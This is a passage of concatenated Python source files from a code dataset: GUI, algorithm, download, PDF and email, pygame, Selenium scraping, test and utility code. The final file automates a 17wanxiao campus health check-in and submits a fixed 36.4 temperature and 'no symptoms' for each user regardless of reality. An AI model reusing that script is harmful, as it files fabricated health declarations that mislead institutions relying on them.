else:\n self.enable_laser.setChecked(False)\n \n def enable_laser_changed(self, state):\n if state == Qt.Checked:\n self.lrf.enable_laser()\n else:\n self.lrf.disable_laser()\n \n def mode_changed(self, value):\n self.lrf.set_mode(value)\n if value == 0:\n for w in self.widgets_velocity:\n w.hide()\n for w in self.widgets_distance:\n w.show()\n else:\n for w in self.widgets_distance:\n w.hide()\n for w in self.widgets_velocity:\n w.show()\n\n def cb_distance(self, distance):\n self.current_distance_value = distance\n self.distance_label.setText(distance) \n \n def cb_velocity(self, velocity):\n velocity = velocity / 100.0\n self.current_velocity_value = velocity\n self.velocity_label.setText(velocity) \n \n def get_mode_async(self, value):\n self.mode_combo.setCurrentIndex(value)\n self.mode_changed(value)\n \n def get_moving_average_async(self, avg):\n self.spin_average_distance.setValue(avg.distance_average_length)\n self.spin_average_velocity.setValue(avg.velocity_average_length)\n \n def spin_average_finished(self):\n self.lrf.set_moving_average(self.spin_average_distance.value(), self.spin_average_velocity.value())","sub_path":"src/brickv/plugin_system/plugins/laser_range_finder/laser_range_finder.py","file_name":"laser_range_finder.py","file_ext":"py","file_size_in_byte":9350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"252973472","text":"\"\"\"\n Time complexity: O(nlogn)\n Sort entire list: O(nlogn)\n Loop through it and find h-index: O(n)\n\"\"\"\n# https://leetcode.com/problems/h-index/description/\nclass Solution(object):\n def hIndex(self, citations):\n \"\"\"\n :type citations: List[int]\n :rtype: int\n \"\"\"\n if not citations:\n return 0\n \n citations.sort()\n \n length = len(citations)\n for i in xrange(length):\n if citations[i] >= length-i:\n return min(citations[i], length-i)\n \n return 0\n \n","sub_path":"h-index.py","file_name":"h-index.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"115638747","text":"import os\n\nfrom datetime import date, datetime, timedelta\n\n\ndef ensure_folder(folder):\n if not (os.path.isdir(folder)):\n os.mkdir(folder)\n\n return folder\n\n\ndef dates_in_range(year, from_day, to_day):\n start_date = datetime(year, 1, 1) + timedelta(from_day - 1)\n end_date = datetime(year, 1, 1) + timedelta(to_day)\n\n dates = [\n date.fromordinal(i)\n for i in range(start_date.toordinal(), end_date.toordinal())\n ]\n\n print('Downloading files from: ' +\n str(dates[0].strftime(\"%Y-%m-%d\")) + ' to: ' +\n str(dates[-1].strftime(\"%Y-%m-%d\")))\n return dates\n\n\ndef download_file(session, name, url, download_folder):\n file_size = int(session.head(url).headers['Content-Length'])\n file_name = os.path.join(download_folder, name)\n\n if not os.path.isfile(file_name) or os.path.getsize(file_name) != file_size:\n response = session.get(url, stream=True)\n with open(file_name, 'wb') as f:\n for chunk in response.iter_content(chunk_size=2000000):\n f.write(chunk)\n if response.status_code is 200:\n print('Successfully downloaded: ' + name)\n else:\n print('Download for: ' + name + ' failed')\n else:\n print('File: ' + name + ' already downloaded')\n","sub_path":"data-download/lib/download_utils.py","file_name":"download_utils.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"193366141","text":"from typing import Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..models.model_with_primitive_additional_properties_a_date_holder import (\n ModelWithPrimitiveAdditionalPropertiesADateHolder,\n)\nfrom ..types import UNSET, Unset\n\nT = TypeVar(\"T\", bound=\"ModelWithPrimitiveAdditionalProperties\")\n\n\n@attr.s(auto_attribs=True)\nclass ModelWithPrimitiveAdditionalProperties:\n \"\"\" \"\"\"\n\n a_date_holder: Union[Unset, ModelWithPrimitiveAdditionalPropertiesADateHolder] = UNSET\n additional_properties: Dict[str, str] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n a_date_holder: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.a_date_holder, Unset):\n a_date_holder = self.a_date_holder.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update({})\n if a_date_holder is not UNSET:\n field_dict[\"a_date_holder\"] = a_date_holder\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n a_date_holder: Union[Unset, ModelWithPrimitiveAdditionalPropertiesADateHolder] = UNSET\n _a_date_holder = d.pop(\"a_date_holder\", UNSET)\n if not isinstance(_a_date_holder, Unset):\n a_date_holder = ModelWithPrimitiveAdditionalPropertiesADateHolder.from_dict(_a_date_holder)\n\n model_with_primitive_additional_properties = cls(\n a_date_holder=a_date_holder,\n )\n\n model_with_primitive_additional_properties.additional_properties = d\n return model_with_primitive_additional_properties\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> str:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: str) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","sub_path":"end_to_end_tests/golden-record/my_test_api_client/models/model_with_primitive_additional_properties.py","file_name":"model_with_primitive_additional_properties.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"332512240","text":"import os as os_module\nimport csv\nimport datetime\n\nfrom django.conf import settings\nfrom django.core.mail import send_mail, EmailMessage\n\nfrom io import BytesIO, StringIO\n\nfrom reportlab.lib.units import inch\nfrom reportlab.lib.enums import TA_CENTER\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.pdfgen import canvas\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Image\nfrom reportlab.rl_config import defaultPageSize\n\nfrom .forms import GeepsForm\n\n\"\"\"Send emails with attachments (csv and pdf)\"\"\"\ndef sendMail(form):\n\tsender = getattr(settings, \"EMAIL_HOST_USER\", None)\n\trelease = form.data.get('release')\n\tos = form.data.get('os')\n\t\n\tmessage = \"Demande d'activation de Matlab\" + release + \" de \" + form.data.get('first_name') + \" \" + form.data.get('name') + \" pour le systeme \" + os + \".\"\n\t\n\t# Envoi mail à cri@geeps\n\temail = EmailMessage(\n\t\t\"Activation Licence MatLab\",\n\t\tmessage,\n\t\tsender,\n\t\t[\"cri@geeps.centralesupelec.fr\"],\n\t\tattachments=[generateAttachedCSV(form)],\n\t)\n\t\n\tfilename, pdf, mimetype = generateAttachedPDF(form)\n\temail.attach(filename, pdf, mimetype)\n\temail.send()\n\t\n\tsubject = None\n\tbody = None\n\t\n\tif form.data.get('language') == 'en':\n\t\tsubject = \"Licence Matlab activation request\"\n\t\tbody = \"Your Matlab \" + release + \" request activation for your \" + os + \" operating system was well taken into account.\\n\\nGeePs\\'CRI\"\n\telse:\n\t\tsubject = \"Demande d'activation de la licence Matlab\"\n\t\tbody = \"Votre demande d'activation de Matlab \" + release + \" a bien ete prise en compte pour votre systeme \" + os + \".\\n\\nLe CRI du GeePs\"\n\t\t\n\t# Acquittement\n\tsend_mail(subject, body, sender, [form.data.get('email')], fail_silently=False)\n\n\"\"\"Return the parameters for an attached csv\"\"\"\ndef generateAttachedCSV(form):\n\tfirstName = form.data.get('first_name')\n\tname = form.data.get('name')\n\temail = form.data.get('email')\n\tphone = form.data.get('phone')\n\trelease = form.data.get('release')\n\tos = form.data.get('os')\n\toffice = form.data.get('office')\n\tbuilding = form.data.get('building')\n\thostid = form.data.get('hostid')\n\t\n\tdate = datetime.date.today().strftime('%Y-%m-%d')\n\tfilename = \"matlab-\" + release + \"-\" + firstName + \"_\" + name + \"-\" + date + \".csv\"\n\t\n\tactivationLabel = firstName + \"-\" + name + \"-\" + release + \"-\" + date\n\t\n\tfile = StringIO()\n\twriter = csv.writer(file)\n\twriter.writerow(['ActivationLabel', 'MatlabRelease', 'HostID', \"Name\", \"Firstname\", \"Email\", \"Office\", \"Phone\", \"Building\", \"OperatingSystem\"])\n\twriter.writerow([activationLabel, release, hostid, name, firstName, email, office, phone, building, os])\n\t\n\tcsvFile = file.getvalue()\n\tfile.close()\n\t\n\treturn filename, csvFile, \"text/csv\"\n\n\"\"\"Return the parameters for an atached pdf\"\"\"\ndef generateAttachedPDF(form):\n\tfirstName = form.data.get('first_name')\n\tname = form.data.get('name')\n\temail = form.data.get('email')\n\tphone = form.data.get('phone')\n\trelease = form.data.get('release')\n\tos = form.data.get('os')\n\toffice = form.data.get('office')\n\tbuilding = form.data.get('building')\n\thostid = form.data.get('hostid')\n\t\n\tdate = datetime.date.today()\n\tfilename = \"matlab-\" + release + \"-\" + firstName + \"_\" + name + \"-\" + date.strftime('%Y-%m-%d') + \".pdf\"\n\ttitle = \"MatLab Realease Informations\"\n\t\n\tbuffer = BytesIO()\n\t\n\tstory = []\n\tdoc = SimpleDocTemplate(buffer, pagesize=letter,\n rightMargin=72, leftMargin=72,\n topMargin=72, bottomMargin=18)\n\t\t\n\tlogo = os_module.path.join(os_module.path.dirname(os_module.path.abspath(__file__)), \"static\", \"img\", \"logo.jpg\")\n\tim = Image(logo, 2 * inch, 2 * inch)\n\tstory.append(im)\n\t\n\tstyles = getSampleStyleSheet()\n\tstyles.add(ParagraphStyle(name='Center', alignment=TA_CENTER))\n\t \n\tptext = '%s' % title\n\tstory.append(Paragraph(ptext, styles[\"Center\"])) \n\tstory.append(Spacer(1, 36))\n\t\n\tptext = 'Demande de licence du %s' % date.strftime('%d/%m/%Y')\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 24))\n\t\n\tptext = 'Name: %s' % name\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Firstname: %s' % firstName\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Email: %s' % email\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Phone: %s' % phone\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Office: %s' % office\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Building: %s' % building\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Matlab Realease: %s' % release\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'Operating System: %s' % os\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tptext = 'HostID: %s' % hostid\n\tstory.append(Paragraph(ptext, styles[\"Normal\"]))\n\tstory.append(Spacer(1, 12))\n\t\n\tdoc.build(story)\n\tpdf = buffer.getvalue()\n\tbuffer.close()\n\t\n\treturn filename, pdf, \"application/pdf\"\n","sub_path":"GeePsForm/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"491924982","text":"import pygame\nimport random\nimport math as m\n\nfrom pygame import *\n\npygame.init()\n\nWINDOW_SIZE = (854, 480)\n\ndisplay = pygame.display.set_mode(WINDOW_SIZE, 0, 32) # initiate the window\n\nclock = pygame.time.Clock()\n\nfont = pygame.font.SysFont(\"Arial\", 18)\n\n\nclass surface_water_particle():\n k = 0.02 # spring constant\n d = 0.10 # damping constant\n\n def __init__(self, x, y):\n self.x_pos = x\n self.y_pos = y\n self.target_y = y\n self.velocity = 0\n\n def update(self):\n x = self.y_pos - self.target_y # displacement of \"spring\"\n a = -self.k * x - self.d * self.velocity # unit of acceleration\n\n self.y_pos += self.velocity\n self.velocity += a\n\n\nclass water():\n\n def __init__(self, x_start, x_end, y_start, y_end, segment_length):\n self.springs = []\n self.x_start = x_start\n self.y_start = y_start\n self.x_end = x_end\n self.y_end = y_end - 10\n for i in range(abs(x_end - x_start) // segment_length):\n self.springs.append(surface_water_particle(\n i * segment_length + x_start, y_end))\n\n def update(self, spread):\n passes = 4 # more passes = more splash spreading\n for i in range(len(self.springs)):\n self.springs[i].update()\n\n leftDeltas = [0] * len(self.springs)\n rightDeltas = [0] * len(self.springs)\n for p in range(passes):\n for i in range(0, len(self.springs) - 1):\n if i > 0:\n leftDeltas[i] = spread * \\\n (self.springs[i].y_pos - self.springs[i - 1].y_pos)\n self.springs[i - 1].velocity += leftDeltas[i]\n if i < len(self.springs) - 1:\n rightDeltas[i] = spread * \\\n (self.springs[i].y_pos - self.springs[i + 1].y_pos)\n self.springs[i + 1].velocity += rightDeltas[i]\n\n for i in range(0, len(self.springs) - 1):\n if i > 0:\n # you were updating velocity here!\n self.springs[i - 1].y_pos += leftDeltas[i]\n if i < len(self.springs) - 1:\n self.springs[i + 1].y_pos += rightDeltas[i]\n\n def splash(self, index, speed):\n if index > 0 and index < len(self.springs):\n self.springs[index].velocity = speed\n\n def draw(self):\n water_surface = pygame.Surface(\n (abs(self.x_start - self.x_end), abs(self.y_start - self.y_end))).convert_alpha()\n water_surface.fill((200, 200, 200))\n water_surface.set_colorkey((0, 0, 0, 0))\n polygon_points = []\n polygon_points.append((self.x_start, self.y_start))\n for spring in range(len(self.springs)):\n polygon_points.append(\n (s_water.springs[spring].x_pos, s_water.springs[spring].y_pos))\n polygon_points.append(\n (s_water.springs[len(self.springs) - 1].x_pos, self.y_start))\n\n # pygame.draw.polygon(water_surface, (0,0,0), polygon_points)\n\n for spring in range(0, len(self.springs) - 1):\n pygame.draw.line(display, (0, 0, 255), (s_water.springs[spring].x_pos, s_water.springs[spring].y_pos), (\n s_water.springs[spring + 1].x_pos, s_water.springs[spring + 1].y_pos), 2)\n\n # water_surface.set_alpha(100)\n\n return water_surface\n\n\ndef update_fps():\n fps_text = font.render(str(int(clock.get_fps())), 1, pygame.Color(\"coral\"))\n display.blit(fps_text, (0, 0))\n\n\ns_water = water(0, 900, 200, 200, 3)\n\nif __name__ == \"__main__\":\n while True:\n display.fill((255, 255, 255))\n s_water.update(0.3)\n s_water.draw()\n update_fps()\n\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n if event.type == MOUSEBUTTONDOWN:\n s_water.splash(50, 300)\n\n pygame.display.update()\n\n clock.tick(60)\n","sub_path":"mechanics/water/water.py","file_name":"water.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"265374305","text":"\"\"\"\nYou are given an n x n 2D matrix representing an image.\n\nRotate the image by 90 degrees (clockwise).\n\nFollow up:\nCould you do this in-place?\n\"\"\"\nimport numpy as np\nclass Solution(object): \n def rotate(self, m):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: void Do not return anything, modify matrix in-place instead.\n \"\"\"\n n = len(m)\n for l in range(0,n//2):\n for c in range(l, n-l-1):\n top = m[l][c]\n\n # left goes to top\n m[l][c] = m[n-1-c][l]\n\n # bottom goes to left\n m[n-1-c][l] = m[n-l-1][n-c-1]\n\n # right goes to bottom\n m[n-l-1][n-c-1] = m[c][n-l-1]\n\n # top goes to right\n m[c][n-l-1] = top\n \n print(np.matrix(m))\n\ndef main():\n solution = Solution()\n solution.rotate([[1]])\n solution.rotate([[1,2],[3,4]])\n solution.rotate([[1,2,3],[4,5,6],[7,8,9]])\n solution.rotate([[1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,16]])\n solution.rotate([[1,2,3,4,5],[6,7,8,9,10],[11,12,13,14,15],[16,17,18,19,20],[21,22,23,24,25]])\n\n\nif __name__ == \"__main__\": main()","sub_path":"python/rotate-2d-matrix.py","file_name":"rotate-2d-matrix.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"600629769","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 17 21:04:50 2019\n\n@author: Jules\n\"\"\"\n\nfrom selenium import webdriver\nimport time\nimport pandas as pd\n\n#from selenium.webdriver.chrome.options import Options \n\n#making the webdriver headless\n#chrome_options = Options() \n#chrome_options.add_argument(\"--headless\") \n#driver = webdriver.Chrome(options=chrome_options)\n\n#to see the head\ndriver=webdriver.Chrome()\n\n#access the webpage and wait \ndriver.set_page_load_timeout(30)\nres = driver.get('https://www.youtube.com/watch?v=3ZdXn-uYz7I')\ndriver.implicitly_wait(200)\n\n#universal xpath to up next video\nxpath = \"//ytd-compact-video-renderer[@class='style-scope ytd-compact-autoplay-renderer']//a[@class='yt-simple-endpoint style-scope ytd-compact-video-renderer']\"\n\n#to store scraped info\nlinks = []\ntitles = []\nchannels = []\n\n#superloop to get the links, video titles, and channel names\nfor i in range(30):\n print('running step: ', i)\n element = driver.find_element_by_xpath(xpath)\n href = element.get_attribute('href')\n video_titles = driver.find_element_by_id('video-title')\n title = video_titles.get_attribute('title')\n channel_names = driver.find_element_by_id('byline')\n channel = channel_names.get_attribute('title')\n channels.append(channel)\n titles.append(title)\n links.append(href)\n #use the new url as the page access\n res2 = driver.get(href)\n driver.implicitly_wait(20)\n \n#stop the program \ntime.sleep(4)\ndriver.quit()\n\n#create dataframe with the yielded information\nzippedList = list(zip(links, titles, channels))\nup_next_videos = pd.DataFrame(zippedList, columns = ['links', 'video title', 'channel name'])\nprint('done')","sub_path":"YouTubeSNA.py","file_name":"YouTubeSNA.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"591647977","text":"import os\n\nimport numpy\n\nimport toughio\n\n\ndef test_mesh():\n \"\"\"Reference values are calculated in FLAC3D.\"\"\"\n this_dir = os.path.dirname(os.path.abspath(__file__))\n filename = os.path.join(this_dir, \"support_files\", \"all_cell_types.f3grid\")\n mesh = toughio.read_mesh(filename)\n\n volumes = sum(vol.sum() for vol in mesh.volumes)\n assert numpy.allclose(volumes, 1.7083333333333344)\n\n face_areas = sum(face.sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas, 39.16535341331142)\n\n face_normals = sum(numpy.abs(face).sum() for face in mesh.face_normals)\n assert numpy.allclose(face_normals, 719.3660094744944)\n\n connections = sum(connection.sum() for connection in mesh.connections)\n assert numpy.allclose(connections, 25353)\n\n\ndef test_cylindric_mesh():\n \"\"\"Compare volumes and face areas to analytical values.\"\"\"\n dr = numpy.array([1.0, 2.0, 3.0, 4.0])\n dz = numpy.array([1.0, 2.0, 3.0])\n mesh = toughio.meshmaker.cylindric_grid(dr, dz)\n\n perimeters = 2.0 * numpy.pi * dr.cumsum()\n base_areas = numpy.pi * dr.cumsum() ** 2\n surface_areas = perimeters * dz.sum()\n section_areas = dr.sum() * dz.sum()\n\n volumes = sum(vol.sum() for vol in mesh.volumes)\n assert numpy.allclose(volumes, base_areas[-1] * dz.sum())\n\n face_areas_top = sum(face[:, 0].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_top, base_areas[-1] * len(dz))\n\n face_areas_bottom = sum(face[:, 1].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_bottom, base_areas[-1] * len(dz))\n\n face_areas_section_1 = sum(face[:, 2].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_section_1, section_areas)\n\n face_areas_outer = sum(face[:, 3].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_outer, surface_areas.sum())\n\n face_areas_section_2 = sum(face[:, 4].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_section_2, section_areas)\n\n face_areas_inner = sum(face[:, 5].sum() for face in mesh.face_areas)\n assert numpy.allclose(face_areas_inner, surface_areas[:-1].sum())\n","sub_path":"test/test_properties.py","file_name":"test_properties.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"11066441","text":"from os import listdir\nfrom PIL import Image\nimport sys\n\ndef usage():\n print(\"\\nThis script lets you transform a given image type to another image type\\n\")\n print(\"Usage:\\tchange_img_type.py [Path] [Original_type] [Requested_type]\\n\")\n print(\"\\t-Path: Where the images are saved (String)\")\n print(\"\\t-Original_type: The current type of images(String)\")\n print(\"\\t-Requested_type: The requested type of images(String)\\n\")\n\ndef error():\n if (len(sys.argv) == 1):\n print(\"Wrong number of arguments, run with '-h' or '--help' for help\")\n exit(84)\n if (sys.argv[1] == \"-h\" or sys.argv[1] == \"--help\"):\n usage()\n exit(1)\n if (len(sys.argv) != 4):\n print(\"Wrong number of arguments, run with '-h' or '--help' for help\")\n exit(84)\n\ndef main():\n error()\n path = sys.argv[1]\n original_type = sys.argv[2]\n requested_type = sys.argv[3]\n\n if (path[-1] != \"/\"):\n path = path + \"/\"\n if (original_type[0] != \".\"):\n original_type = \".\" + original_type\n if (requested_type[0] != \".\"):\n requested_type = \".\" + requested_type\n\n file_list = [path + f for f in listdir(path) if (original_type in f)]\n for i in range(len(file_list)):\n image = Image.open(file_list[i])\n image.save(file_list[i][:-len(original_type)] + requested_type)\n print(\"Transformed: {} --> {}\".format(file_list[i], file_list[i][:-len(original_type)] + requested_type))\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"src/script/change_img_type.py","file_name":"change_img_type.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"619218589","text":"import time\nimport datetime\nimport json\nimport logging\nimport requests\n\nfrom login import CampusCard\n\n\ndef initLogging():\n logging.getLogger().setLevel(logging.INFO)\n logging.basicConfig(format=\"[%(levelname)s]; %(message)s\")\n\n\ndef get_token(username, password):\n user_dict = CampusCard(username, password).user_info\n if not user_dict['login']:\n return None\n return user_dict[\"sessionId\"]\n\n\ndef get_post_json(token, jsons):\n retry = 0\n while retry < 3:\n try:\n # 如果不请求一下这个地址,token就会失效\n requests.post(\"https://reportedh5.17wanxiao.com/api/clock/school/getUserInfo\", data={'token': token})\n res = requests.post(url=\"https://reportedh5.17wanxiao.com/sass/api/epmpics\", json=jsons, timeout=10).json()\n except BaseException:\n retry += 1\n logging.warning('获取完美校园打卡post参数失败,正在重试...')\n time.sleep(1)\n continue\n if res['code'] != '10000':\n return None\n data = json.loads(res['data'])\n # print(data)\n post_dict = {\n \"areaStr\": data['areaStr'],\n \"deptStr\": data['deptStr'],\n \"deptid\": data['deptStr']['deptid'],\n \"customerid\": data['customerid'],\n \"userid\": data['userid'],\n \"username\": data['username'],\n \"stuNo\": data['stuNo'],\n \"phonenum\": data['phonenum'],\n \"templateid\": data['templateid'],\n \"updatainfo\": [{\"propertyname\": i[\"propertyname\"], \"value\": i[\"value\"]} for i in\n data['cusTemplateRelations']],\n \"checkbox\": [{\"description\": i[\"decription\"], \"value\": i[\"value\"]} for i in\n data['cusTemplateRelations']],\n }\n # print(json.dumps(post_dict, sort_keys=True, indent=4, ensure_ascii=False))\n # 在此处修改字段\n logging.info('获取完美校园打卡post参数成功')\n return post_dict\n return None\n\n\ndef healthy_check_in(username, token, post_dict):\n check_json = {\"businessType\": \"epmpics\", \"method\": \"submitUpInfo\",\n \"jsonData\": {\"deptStr\": post_dict['deptStr'], \"areaStr\": post_dict['areaStr'],\n \"reportdate\": round(time.time() * 1000), \"customerid\": post_dict['customerid'],\n \"deptid\": post_dict['deptid'], \"source\": \"app\",\n \"templateid\": post_dict['templateid'], \"stuNo\": post_dict['stuNo'],\n \"username\": post_dict['username'], \"phonenum\": username,\n \"userid\": post_dict['userid'], \"updatainfo\": post_dict['updatainfo'],\n \"gpsType\": 1, \"token\": token},\n }\n try:\n res = requests.post(\"https://reportedh5.17wanxiao.com/sass/api/epmpics\", json=check_json).json()\n except BaseException:\n errmsg = f\"```打卡请求出错```\"\n logging.warning(errmsg)\n return dict(status=0, errmsg=errmsg)\n\n # 以json格式打印json字符串\n if res['code'] != '10000':\n logging.warning(res)\n return dict(status=1, res=res, post_dict=post_dict, check_json=check_json, type='healthy')\n else:\n logging.info(res)\n return dict(status=1, res=res, post_dict=post_dict, check_json=check_json, type='healthy')\n\n\ndef campus_check_in(username, token, post_dict, id):\n check_json = {\"businessType\": \"epmpics\", \"method\": \"submitUpInfoSchool\",\n \"jsonData\": {\"deptStr\": post_dict['deptStr'],\n \"areaStr\": post_dict['areaStr'],\n \"reportdate\": round(time.time() * 1000), \"customerid\": post_dict['customerid'],\n \"deptid\": post_dict['deptid'], \"source\": \"app\",\n \"templateid\": post_dict['templateid'], \"stuNo\": post_dict['stuNo'],\n \"username\": post_dict['username'], \"phonenum\": username,\n \"userid\": post_dict['userid'], \"updatainfo\": post_dict['updatainfo'],\n \"customerAppTypeRuleId\": id, \"clockState\": 0, \"token\": token},\n \"token\": token\n }\n # print(check_json)\n try:\n res = requests.post(\"https://reportedh5.17wanxiao.com/sass/api/epmpics\", json=check_json).json()\n except BaseException:\n errmsg = f\"```校内打卡请求出错```\"\n logging.warning(errmsg)\n return dict(status=0, errmsg=errmsg)\n\n # 以json格式打印json字符串\n if res['code'] != '10000':\n logging.warning(res)\n return dict(status=1, res=res, post_dict=post_dict, check_json=check_json, type=post_dict['templateid'])\n else:\n logging.info(res)\n return dict(status=1, res=res, post_dict=post_dict, check_json=check_json, type=post_dict['templateid'])\n\n\ndef check_in(username, password):\n # 登录获取token用于打卡\n token = get_token(username, password)\n # print(token)\n check_dict_list = []\n # 获取现在是上午,还是下午,还是晚上\n ape_list = get_ap()\n\n if not token:\n errmsg = f\"{username[:4]},获取token失败,打卡失败\"\n logging.warning(errmsg)\n return False\n\n # 获取健康打卡的参数\n json1 = {\"businessType\": \"epmpics\",\n \"jsonData\": {\"templateid\": \"pneumonia\", \"token\": token},\n \"method\": \"userComeApp\"}\n post_dict = get_post_json(token, json1)\n if not post_dict:\n errmsg = '获取完美校园打卡post参数失败'\n logging.warning(errmsg)\n return False\n\n # 健康打卡\n healthy_check_dict = healthy_check_in(username, token, post_dict)\n check_dict_list.append(healthy_check_dict)\n\n # 获取校内打卡ID\n id_list = get_id_list(token)\n # print(id_list)\n if not id_list:\n return check_dict_list\n\n # 校内打卡\n for index, i in enumerate(id_list):\n if ape_list[index]:\n # print(i)\n logging.info(f\"-------------------------------{i['templateid']}-------------------------------\")\n json2 = {\"businessType\": \"epmpics\",\n \"jsonData\": {\"templateid\": i['templateid'], \"customerAppTypeRuleId\": i['id'],\n \"stuNo\": post_dict['stuNo'],\n \"token\": token}, \"method\": \"userComeAppSchool\",\n \"token\": token}\n campus_dict = get_post_json(token, json2)\n campus_dict['areaStr'] = post_dict['areaStr']\n for j in campus_dict['updatainfo']:\n if j['propertyname'] == 'temperature':\n j['value'] = '36.4'\n if j['propertyname'] == 'symptom':\n j['value'] = '无症状'\n campus_check_dict = campus_check_in(username, token, campus_dict, i['id'])\n check_dict_list.append(campus_check_dict)\n logging.info(\"--------------------------------------------------------------\")\n return check_dict_list\n\n\ndef server_push(sckey, desp):\n send_url = f\"https://sc.ftqq.com/{sckey}.send\"\n params = {\n \"text\": \"健康打卡推送通知\",\n \"desp\": desp\n }\n # 发送消息\n res = requests.post(send_url, data=params)\n # {\"errno\":0,\"errmsg\":\"success\",\"dataset\":\"done\"}\n # logging.info(res.text)\n try:\n if not res.json()['errno']:\n logging.info('Server酱推送服务成功')\n else:\n logging.warning('Server酱推送服务失败')\n except:\n logging.warning(\"Server酱不起作用了,可能是你的sckey出现了问题\")\n\n\ndef get_id_list(token):\n post_data = {\n \"customerAppTypeId\": 175,\n \"longitude\": \"\",\n \"latitude\": \"\",\n \"token\": token\n }\n try:\n res = requests.post(\"https://reportedh5.17wanxiao.com/api/clock/school/rules\", data=post_data)\n return res.json()['customerAppTypeDto']['ruleList']\n except:\n return None\n\n\ndef get_ap():\n now_time = datetime.datetime.now() + datetime.timedelta(hours=8)\n am = 0 <= now_time.hour < 12\n pm = 12 <= now_time.hour < 17\n ev = 17 <= now_time.hour <= 23\n return [am, pm, ev]\n\n\ndef run():\n initLogging()\n now_time = datetime.datetime.now()\n bj_time = now_time + datetime.timedelta(hours=8)\n test_day = datetime.datetime.strptime('2020-12-26 00:00:00', '%Y-%m-%d %H:%M:%S')\n date = (test_day - bj_time).days\n log_info = [f\"\"\"\n------\n#### 现在时间:\n```\n{bj_time.strftime(\"%Y-%m-%d %H:%M:%S %p\")}\n```\"\"\"]\n username_list = input().split(',')\n password_list = input().split(',')\n sckey = input()\n for username, password in zip([i.strip() for i in username_list if i != ''],\n [i.strip() for i in password_list if i != '']):\n check_dict = check_in(username, password)\n if not check_dict:\n return\n else:\n for check in check_dict:\n post_msg = \"\\n\".join(\n [f\"| {i['description']} | {i['value']} |\" for i in check['post_dict']['checkbox']])\n log_info.append(f\"\"\"#### {check['post_dict']['username']}{check['type']}打卡信息:\n```\n{json.dumps(check['check_json'], sort_keys=True, indent=4, ensure_ascii=False)}\n```\n\n------\n| Text | Message |\n| :----------------------------------- | :--- |\n{post_msg}\n------\n```\n{check['res']}\n```\"\"\")\n log_info.append(f\"\"\"### ⚡考研倒计时:\n```\n{date}天\n```\n\n>\n> [GitHub项目地址](https://github.com/ReaJason/17wanxiaoCheckin-Actions)\n>\n>期待你给项目的star✨\n\"\"\")\n server_push(sckey, \"\\n\".join(log_info))\n\n\nif __name__ == '__main__':\n 